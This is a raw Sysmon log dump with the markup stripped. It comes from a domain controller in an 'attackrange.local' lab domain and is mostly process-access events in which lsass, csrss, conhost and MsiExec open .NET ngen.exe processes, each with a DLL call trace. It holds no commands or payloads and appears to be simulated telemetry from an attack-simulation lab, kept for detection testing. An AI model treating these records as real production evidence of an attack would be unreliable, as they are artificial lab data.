14:43:44.883{7BD73061-65B0-613B-0B00-00000000F001}620748C:\Windows\system32\lsass.exe{7BD73061-6F20-613B-A507-00000000F001}5976c:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6cc4|C:\Windows\System32\RPCRT4.dll+67d2f|C:\Windows\system32\lsasrv.dll+249ad|C:\Windows\SYSTEM32\SspiSrv.dll+11a2|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+22b4b|C:\Windows\System32\RPCRT4.dll+653fa|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 23542300x800000000000000039030Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:44.883{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=359B53677BF164D4841F9AEE34A010B2,SHA256=FBBF2612F0551D317E2C26ECFAEA42A15976BD512CD50808F8401122B4DC25F2,IMPHASH=00000000000000000000000000000000falsetrue 10341000x800000000000000039029Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:44.867{7BD73061-6F20-613B-A607-00000000F001}56962244C:\Windows\system32\conhost.exe{7BD73061-6F20-613B-A507-00000000F001}5976c:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\SYSTEM32\ConhostV2.dll+5ca7|C:\Windows\SYSTEM32\ConhostV2.dll+774b|C:\Windows\SYSTEM32\ConhostV2.dll+a8ef|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000039028Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:44.867{7BD73061-65AF-613B-0500-00000000F001}412428C:\Windows\system32\csrss.exe{7BD73061-6F20-613B-A607-00000000F001}5696C:\Windows\system32\conhost.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6cc4|C:\Windows\SYSTEM32\CSRSRV.dll+1a30|C:\Windows\SYSTEM32\CSRSRV.dll+5c09|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000039027Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:44.852{7BD73061-65AF-613B-0500-00000000F001}412672C:\Windows\system32\csrss.exe{7BD73061-6F20-613B-A507-00000000F001}5976c:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000039026Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:44.852{7BD73061-6E8E-613B-1307-00000000F001}38364724c:\Windows\syswow64\MsiExec.exe{7BD73061-6F20-613B-A507-00000000F001}5976c:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\wow64.dll+10c0b|C:\Windows\System32\wow64.dll+10499|C:\Windows\System32\wow64.dll+6e75|C:\Windows\System32\wow64cpu.dll+1d07|C:\Windows\System32\wow64.dll+1bf87|C:\Windows\System32\wow64.dll+cba0|C:\Windows\SYSTEM32\ntdll.dll+783d0|C:\Windows\SYSTEM32\ntdll.dll+77f9e|C:\Windows\SYSTEM32\ntdll.dll+6f66c(wow64)|C:\Windows\System32\KERNELBASE.dll+d9148(wow64)|C:\Windows\System32\KERNELBASE.dll+d7e2c(wow64)|C:\Windows\Installer\MSIE238.tmp+4f2c(wow64)|C:\Windows\Installer\MSIE238.tmp+122f(wow64)|C:\Windows\System32\msi.dll+a9703(wow64)|C:\Windows\System32\msi.dll+1800e6(wow64)|C:\Windows\System32\KERNEL32.DLL+162c4(wow64)|C:\Windows\SYSTEM32\ntdll.dll+61b69(wow64)|C:\Windows\SYSTEM32\ntdll.dll+61b34(wow64) 10341000x800000000000000039025Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:44.852{7BD73061-65B0-613B-0B00-00000000F001}6202908C:\Windows\system32\lsass.exe{7BD73061-6F20-613B-A307-00000000F001}4520c:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe0x1478C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\lsasrv.dll+24be7|C:\Windows\system32\lsasrv.dll+25d2d|C:\Windows\system32\lsasrv.dll+24a65|C:\Windows\SYSTEM32\SspiSrv.dll+11a2|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000039024Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:44.852{7BD73061-65B0-613B-0B00-00000000F001}6202908C:\Windows\system32\lsass.exe{7BD73061-6F20-613B-A307-00000000F001}4520c:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6cc4|C:\Windows\System32\RPCRT4.dll+67d2f|C:\Windows\system32\lsasrv.dll+249ad|C:\Windows\SYSTEM32\SspiSrv.dll+11a2|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000039023Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:44.836{7BD73061-6F20-613B-A407-00000000F001}63325968C:\Windows\system32\conhost.exe{7BD73061-6F20-613B-A307-00000000F001}4520c:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\SYSTEM32\ConhostV2.dll+5ca7|C:\Windows\SYSTEM32\ConhostV2.dll+774b|C:\Windows\SYSTEM32\ConhostV2.dll+a8ef|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000039022Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:44.820{7BD73061-65AF-613B-0500-00000000F001}412672C:\Windows\system32\csrss.exe{7BD73061-6F20-613B-A407-00000000F001}6332C:\Windows\system32\conhost.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6cc4|C:\Windows\SYSTEM32\CSRSRV.dll+1a30|C:\Windows\SYSTEM32\CSRSRV.dll+5c09|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000039021Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:44.820{7BD73061-65AF-613B-0500-00000000F001}412500C:\Windows\system32\csrss.exe{7BD73061-6F20-613B-A307-00000000F001}4520c:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000039020Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:44.820{7BD73061-6E8E-613B-1307-00000000F001}38364724c:\Windows\syswow64\MsiExec.exe{7BD73061-6F20-613B-A307-00000000F001}4520c:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\wow64.dll+10c0b|C:\Windows\System32\wow64.dll+10499|C:\Windows\System32\wow64.dll+6e75|C:\Windows\System32\wow64cpu.dll+1d07|C:\Windows\System32\wow64.dll+1bf87|C:\Windows\System32\wow64.dll+cba0|C:\Windows\SYSTEM32\ntdll.dll+783d0|C:\Windows\SYSTEM32\ntdll.dll+77f9e|C:\Windows\SYSTEM32\ntdll.dll+6f66c(wow64)|C:\Windows\System32\KERNELBASE.dll+d9148(wow64)|C:\Windows\System32\KERNELBASE.dll+d7e2c(wow64)|C:\Windows\Installer\MSIE238.tmp+4f2c(wow64)|C:\Windows\Installer\MSIE238.tmp+122f(wow64)|C:\Windows\System32\msi.dll+a9703(wow64)|C:\Windows\System32\msi.dll+1800e6(wow64)|C:\Windows\System32\KERNEL32.DLL+162c4(wow64)|C:\Windows\SYSTEM32\ntdll.dll+61b69(wow64)|C:\Windows\SYSTEM32\ntdll.dll+61b34(wow64) 10341000x800000000000000039019Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:44.805{7BD73061-65B0-613B-0B00-00000000F001}620748C:\Windows\system32\lsass.exe{7BD73061-6F20-613B-A107-00000000F001}4976c:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe0x1478C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\lsasrv.dll+24be7|C:\Windows\system32\lsasrv.dll+25d2d|C:\Windows\system32\lsasrv.dll+24a65|C:\Windows\SYSTEM32\SspiSrv.dll+11a2|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+22b4b|C:\Windows\System32\RPCRT4.dll+653fa|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000039018Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:44.805{7BD73061-65B0-613B-0B00-00000000F001}620748C:\Windows\system32\lsass.exe{7BD73061-6F20-613B-A107-00000000F001}4976c:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6cc4|C:\Windows\System32\RPCRT4.dll+67d2f|C:\Windows\system32\lsasrv.dll+249ad|C:\Windows\SYSTEM32\SspiSrv.dll+11a2|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+22b4b|C:\Windows\System32\RPCRT4.dll+653fa|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000039017Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:44.789{7BD73061-6F20-613B-A207-00000000F001}69005940C:\Windows\system32\conhost.exe{7BD73061-6F20-613B-A107-00000000F001}4976c:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\SYSTEM32\ConhostV2.dll+5ca7|C:\Windows\SYSTEM32\ConhostV2.dll+774b|C:\Windows\SYSTEM32\ConhostV2.dll+a8ef|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000039016Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:44.789{7BD73061-65AF-613B-0500-00000000F001}412428C:\Windows\system32\csrss.exe{7BD73061-6F20-613B-A207-00000000F001}6900C:\Windows\system32\conhost.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6cc4|C:\Windows\SYSTEM32\CSRSRV.dll+1a30|C:\Windows\SYSTEM32\CSRSRV.dll+5c09|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000039015Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:44.774{7BD73061-65AF-613B-0500-00000000F001}412500C:\Windows\system32\csrss.exe{7BD73061-6F20-613B-A107-00000000F001}4976c:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000039014Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:44.774{7BD73061-6E8E-613B-1307-00000000F001}38364724c:\Windows\syswow64\MsiExec.exe{7BD73061-6F20-613B-A107-00000000F001}4976c:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\wow64.dll+10c0b|C:\Windows\System32\wow64.dll+10499|C:\Windows\System32\wow64.dll+6e75|C:\Windows\System32\wow64cpu.dll+1d07|C:\Windows\System32\wow64.dll+1bf87|C:\Windows\System32\wow64.dll+cba0|C:\Windows\SYSTEM32\ntdll.dll+783d0|C:\Windows\SYSTEM32\ntdll.dll+77f9e|C:\Windows\SYSTEM32\ntdll.dll+6f66c(wow64)|C:\Windows\System32\KERNELBASE.dll+d9148(wow64)|C:\Windows\System32\KERNELBASE.dll+d7e2c(wow64)|C:\Windows\Installer\MSIE238.tmp+4f2c(wow64)|C:\Windows\Installer\MSIE238.tmp+122f(wow64)|C:\Windows\System32\msi.dll+a9703(wow64)|C:\Windows\System32\msi.dll+1800e6(wow64)|C:\Windows\System32\KERNEL32.DLL+162c4(wow64)|C:\Windows\SYSTEM32\ntdll.dll+61b69(wow64)|C:\Windows\SYSTEM32\ntdll.dll+61b34(wow64) 10341000x800000000000000039013Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:44.774{7BD73061-65B0-613B-0B00-00000000F001}6202908C:\Windows\system32\lsass.exe{7BD73061-6F20-613B-9F07-00000000F001}6364c:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe0x1478C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\lsasrv.dll+24be7|C:\Windows\system32\lsasrv.dll+25d2d|C:\Windows\system32\lsasrv.dll+24a65|C:\Windows\SYSTEM32\SspiSrv.dll+11a2|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000039012Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:44.774{7BD73061-65B0-613B-0B00-00000000F001}6202908C:\Windows\system32\lsass.exe{7BD73061-6F20-613B-9F07-00000000F001}6364c:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6cc4|C:\Windows\System32\RPCRT4.dll+67d2f|C:\Windows\system32\lsasrv.dll+249ad|C:\Windows\SYSTEM32\SspiSrv.dll+11a2|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000039011Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:44.758{7BD73061-6F20-613B-A007-00000000F001}23281056C:\Windows\system32\conhost.exe{7BD73061-6F20-613B-9F07-00000000F001}6364c:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\SYSTEM32\ConhostV2.dll+5ca7|C:\Windows\SYSTEM32\ConhostV2.dll+774b|C:\Windows\SYSTEM32\ConhostV2.dll+a8ef|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000039010Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:44.742{7BD73061-65AF-613B-0500-00000000F001}412428C:\Windows\system32\csrss.exe{7BD73061-6F20-613B-A007-00000000F001}2328C:\Windows\system32\conhost.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6cc4|C:\Windows\SYSTEM32\CSRSRV.dll+1a30|C:\Windows\SYSTEM32\CSRSRV.dll+5c09|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000039009Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:44.742{7BD73061-65AF-613B-0500-00000000F001}412672C:\Windows\system32\csrss.exe{7BD73061-6F20-613B-9F07-00000000F001}6364c:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000039008Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:44.742{7BD73061-6E8E-613B-1307-00000000F001}38364724c:\Windows\syswow64\MsiExec.exe{7BD73061-6F20-613B-9F07-00000000F001}6364c:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\wow64.dll+10c0b|C:\Windows\System32\wow64.dll+10499|C:\Windows\System32\wow64.dll+6e75|C:\Windows\System32\wow64cpu.dll+1d07|C:\Windows\System32\wow64.dll+1bf87|C:\Windows\System32\wow64.dll+cba0|C:\Windows\SYSTEM32\ntdll.dll+783d0|C:\Windows\SYSTEM32\ntdll.dll+77f9e|C:\Windows\SYSTEM32\ntdll.dll+6f66c(wow64)|C:\Windows\System32\KERNELBASE.dll+d9148(wow64)|C:\Windows\System32\KERNELBASE.dll+d7e2c(wow64)|C:\Windows\Installer\MSIE238.tmp+4f2c(wow64)|C:\Windows\Installer\MSIE238.tmp+122f(wow64)|C:\Windows\System32\msi.dll+a9703(wow64)|C:\Windows\System32\msi.dll+1800e6(wow64)|C:\Windows\System32\KERNEL32.DLL+162c4(wow64)|C:\Windows\SYSTEM32\ntdll.dll+61b69(wow64)|C:\Windows\SYSTEM32\ntdll.dll+61b34(wow64) 10341000x800000000000000039007Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:44.727{7BD73061-65B0-613B-0B00-00000000F001}620748C:\Windows\system32\lsass.exe{7BD73061-6F20-613B-9D07-00000000F001}5672c:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe0x1478C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\lsasrv.dll+24be7|C:\Windows\system32\lsasrv.dll+25d2d|C:\Windows\system32\lsasrv.dll+24a65|C:\Windows\SYSTEM32\SspiSrv.dll+11a2|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+22b4b|C:\Windows\System32\RPCRT4.dll+653fa|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000039006Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:44.727{7BD73061-65B0-613B-0B00-00000000F001}620748C:\Windows\system32\lsass.exe{7BD73061-6F20-613B-9D07-00000000F001}5672c:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6cc4|C:\Windows\System32\RPCRT4.dll+67d2f|C:\Windows\system32\lsasrv.dll+249ad|C:\Windows\SYSTEM32\SspiSrv.dll+11a2|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+22b4b|C:\Windows\System32\RPCRT4.dll+653fa|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000039005Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:44.711{7BD73061-6F20-613B-9E07-00000000F001}63244164C:\Windows\system32\conhost.exe{7BD73061-6F20-613B-9D07-00000000F001}5672c:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\SYSTEM32\ConhostV2.dll+5ca7|C:\Windows\SYSTEM32\ConhostV2.dll+774b|C:\Windows\SYSTEM32\ConhostV2.dll+a8ef|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000039004Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:44.711{7BD73061-65AF-613B-0500-00000000F001}412500C:\Windows\system32\csrss.exe{7BD73061-6F20-613B-9E07-00000000F001}6324C:\Windows\system32\conhost.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6cc4|C:\Windows\SYSTEM32\CSRSRV.dll+1a30|C:\Windows\SYSTEM32\CSRSRV.dll+5c09|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000039003Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:44.695{7BD73061-65AF-613B-0500-00000000F001}412672C:\Windows\system32\csrss.exe{7BD73061-6F20-613B-9D07-00000000F001}5672c:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000039002Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:44.695{7BD73061-6E8E-613B-1307-00000000F001}38364724c:\Windows\syswow64\MsiExec.exe{7BD73061-6F20-613B-9D07-00000000F001}5672c:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\wow64.dll+10c0b|C:\Windows\System32\wow64.dll+10499|C:\Windows\System32\wow64.dll+6e75|C:\Windows\System32\wow64cpu.dll+1d07|C:\Windows\System32\wow64.dll+1bf87|C:\Windows\System32\wow64.dll+cba0|C:\Windows\SYSTEM32\ntdll.dll+783d0|C:\Windows\SYSTEM32\ntdll.dll+77f9e|C:\Windows\SYSTEM32\ntdll.dll+6f66c(wow64)|C:\Windows\System32\KERNELBASE.dll+d9148(wow64)|C:\Windows\System32\KERNELBASE.dll+d7e2c(wow64)|C:\Windows\Installer\MSIE238.tmp+4f2c(wow64)|C:\Windows\Installer\MSIE238.tmp+122f(wow64)|C:\Windows\System32\msi.dll+a9703(wow64)|C:\Windows\System32\msi.dll+1800e6(wow64)|C:\Windows\System32\KERNEL32.DLL+162c4(wow64)|C:\Windows\SYSTEM32\ntdll.dll+61b69(wow64)|C:\Windows\SYSTEM32\ntdll.dll+61b34(wow64) 10341000x800000000000000039001Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:44.695{7BD73061-65B0-613B-0B00-00000000F001}6202908C:\Windows\system32\lsass.exe{7BD73061-6F20-613B-9B07-00000000F001}1020c:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe0x1478C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\lsasrv.dll+24be7|C:\Windows\system32\lsasrv.dll+25d2d|C:\Windows\system32\lsasrv.dll+24a65|C:\Windows\SYSTEM32\SspiSrv.dll+11a2|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000039000Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 